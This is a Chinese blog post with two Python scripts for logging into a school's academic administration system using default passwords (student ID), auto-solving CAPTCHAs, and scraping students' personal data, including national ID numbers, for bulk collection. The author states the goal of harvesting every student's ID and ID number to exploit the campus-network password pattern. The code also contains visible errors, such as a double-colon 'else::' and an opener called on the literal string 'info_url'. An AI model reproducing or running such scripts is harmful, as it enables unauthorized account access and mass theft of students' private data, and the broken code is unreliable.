利用Python爆破教务系统批量获取用户信息

Web安全, python

接收不可预知会帮助我们获得自由和内心的平和。
—–鲁比.拉克

前言

这次没找教务系统的漏洞，原本是想把学校的所有人的学号和身份证号爬下来上网方便，（因为校园网帐号密码如果没改的话就是学号加身份证后六位），但是有wifi所以这个其实爬下来也没什么用，就是练练手。

其实这个脚本也没多难，利用以前学习过的知识写个脚本玩一玩而已，也没找漏洞什么的。

验证码登录这个其实就是访问验证码图片之后保存其cookie，然后在登陆的时候再把这张验证码的值和他的cookie还有你的账户密码同时提交就可以了。

脚本的编写

思路：
1、设置好cookie保存器之后访问验证码地址，保存验证码的cookie
2、进行验证码识别
3、post上去之后利用爬虫抓到个人信息页面并访问
4、爬取所需信息，保存

多线程没复习，在这没写…..

第一代脚本

教务系统是强智的，登录教务系统默认帐号密码都是学号

爆破我没有弄，学号这个其实很好弄，在教务系统试学号是否有效肯定效率很慢，自己找个接口判断学号是否存在然后拿过来直接用就可以了，学校这么多接口，对不对

第一代脚本是手动输入验证码的，信息也只是抓取了姓名而已

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import urllib, urllib2
import cookielib, time
from PIL import Image
from bs4 import BeautifulSoup
import chardet

# 登录url，验证码url，验证码存储路径
url = "教务系统登录页面url"
captcha_url = "验证码地址"
path = '验证码图片保存地址'
# 通过cookielib来创建opener对象，保存cookie
cookie = cookielib.CookieJar()
handler = urllib2.HTTPCookieProcessor(cookie)
opener = urllib2.build_opener(handler)
#默认是[('User-agent', 'Python-urllib/2.7')]，稍微做一点反爬虫机制
opener.addheaders=[('User-agent','Mozilla/5.0')]
urllib2.install_opener(opener)
#用建立好的opener对象访问验证码地址，opener对象保存访问验证码后的cookie以及图片
picture = opener.open(captcha_url).read()
local = open('D:\\Script demo\\python_demo\\urllib_cookielib\\photo\\image.jpg','wb')
local.write(picture)
local.close()
#利用PIL库打开图片，进行手动登录
im = Image.open('%simage.jpg'%path)
im.show()
checkcode = raw_input('please input captcha：')   #手动输入验证码
data = {
	#其他post的相关数据
    "Account":"",
    "PWD":"",
    "CheckCode":checkcode,
    "cmdok":""
}
post_data = urllib.urlencode(data)
result = opener.open(url,post_data).read()
soup = BeautifulSoup(result,'lxml')
name = soup.select('#users')[0].get_text()   #这里只是抓取了登陆之后页面的用户名，还并没有深入抓取
print name

第二代脚本

第二代脚本只不过将手工变成自动识别，本来想使用PIL对图片做做处理然后识别出来，但是发现略有麻烦，所以直接使用工具。

其实使用工具的话完全没必要把验证码下载到本地再识别，直接可以访问验证码地址然后在线识别返回回来值就可以了

工具使用

工具使用的是伏宸验证码识别工具，这个工具我觉得还是蛮好的
链接：https://pan.baidu.com/s/1qZ0Let2 密码：sx2k

先进行机器学习，输入验证码地址，然后手动输入，开始的时候识别的不准，后边识别的会越来越准
其实教务系统这个验证码算是很简单的了，要是难得估计就得自己写识别工具了，还得切割去噪….


差不多都可以识别准了之后保存配置文件

我们这里就使用命令行工具就可以了

可以在线监听，也可以指定文件进行识别

基本差不多

然后在代码中利用os模块打开进行识别，并将结果返回就OK了

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import urllib, urllib2
import cookielib, time
from PIL import Image
from bs4 import BeautifulSoup
import os, re
# import MySQLdb, sqlite3
# from pymongo import MongoClient

# 登录url，验证码url，验证码存储路径
login_url = "教务系统登录页面"
captcha_url = "验证码地址"
captcha_path = '验证码存储路径'
# 通过cookielib来创建opener对象，保存cookie
cookie = cookielib.CookieJar()
handler = urllib2.HTTPCookieProcessor(cookie)
opener = urllib2.build_opener(handler)
opener.addheaders=[('User-agent','Mozilla/5.0')]
urllib2.install_opener(opener)
#用建立好的opener对象访问验证码地址，opener对象保存访问验证码后的cookie以及图片
picture = opener.open(captcha_url).read()
local = open('D:\\Script demo\\python_demo\\school_admin_blast\\photo\\image.jpg','wb')
local.write(picture)
local.close()
#利用PIL库打开图片，进行手动登录
# im = Image.open('%simage.jpg'%path)
# im.show()
# checkcode = raw_input('please input captcha：')   #手动输入验证码

#利用验证码识别工具自动输出验证码
checkcode = os.popen('verifyCaptchaconfig\\VerifyTool.exe verifyCaptchaconfig\\school.ci.png -f photo\\image.jpg').read()
data = {
    "Account":"帐号",
    "PWD":"密码",
    "CheckCode":checkcode,
    "cmdok":""
    #其他post信息
}
post_data = urllib.urlencode(data)
result = opener.open(login_url,post_data).read()
# 这里边有两种情况
# 一、是否显示完全 有的浏览器可以显示所有页面，如IE，但是有的浏览器只能显示部分页面，这里使用“xskp/jwxs_xskp_like.aspx?usermain=”判断是否显示完全
# 二、是否登录成功  如果出现“other/CheckCode.aspx” 就说明没有登陆成功
login_success_whether = result.find('other/CheckCode.aspx')
display_success_whether = result.find('xskp/jwxs_xskp_like.aspx?usermain=')
# 判断是否登陆成功
if login_success_whether != -1:
    print 'Now check username & password or Captcha....'
else:
    print 'login in successful!!!'
# 判断页面是否显示完全
if display_success_whether != -1:
    print 'Display successful!!!'
else::
    print 'Your browser have some error....'
# 利用beautifulsoup抓取页面源代码，
Soup = BeautifulSoup(result,'lxml')
name = Soup.select('#users')[0].get_text()  # 获取用户新明
info_url_demo = Soup.select('个人信息url的css selector').get('src')  # 我们获取的是个人信息的url
# 这里要说明一下，原本以为所有人的个人信息页面都是同一个url，但是打开发现每个人是不一样的
# 有一个固定的值和你入学时间相关，这个就不算了，直接把url取出来就可以了
info_url = 'www.教务系统.edu.cn' + info_url_demo
info_text = opener.open('info_url').read()
# 获取信息
Soup_text = BeautifulSoup(info_text,'lxml')
college = Soup_text.select(学院信息css selector).get_text() 
Class = Soup_text.select(班级信息css selector).get_text()
ID = Soup_text.select(身份证号css selector).get_text()
# 其实信息还有很多，家庭地址，家庭电话，家庭成员情况，个人学习及工作简历，学籍变动以及奖励处分等等等等

# 获取之后再存储到数据库或者别的，看你想怎么存储，excel或者txt文本也可以

# SQLite
# import sqlite3 
# conn = sqlite3.connect("info.db")
# c = conn.cursor()
# c.execute("CREATE TABLE IF EXISTS student_info(id INT NOT NULL AUTO_INCREMENT,name VARCHAR(20) NOT NULL,.....,PRIMARY KEY(ID))DEFAULT CHARSET=utf8")
# c.execute("INSERT INTO student_info(id,name,...) values(1,xxx,xxx)")
# conn.commit()
# conn.close()

# MySQL或者其他的都成，其实想用MongoDB来着，以前爬数据的时候用过，好久没复习又忘了....,大概也就这样子把

代码地址

https://github.com/Yokeen/Learning-Python

如有不对，谢谢指正。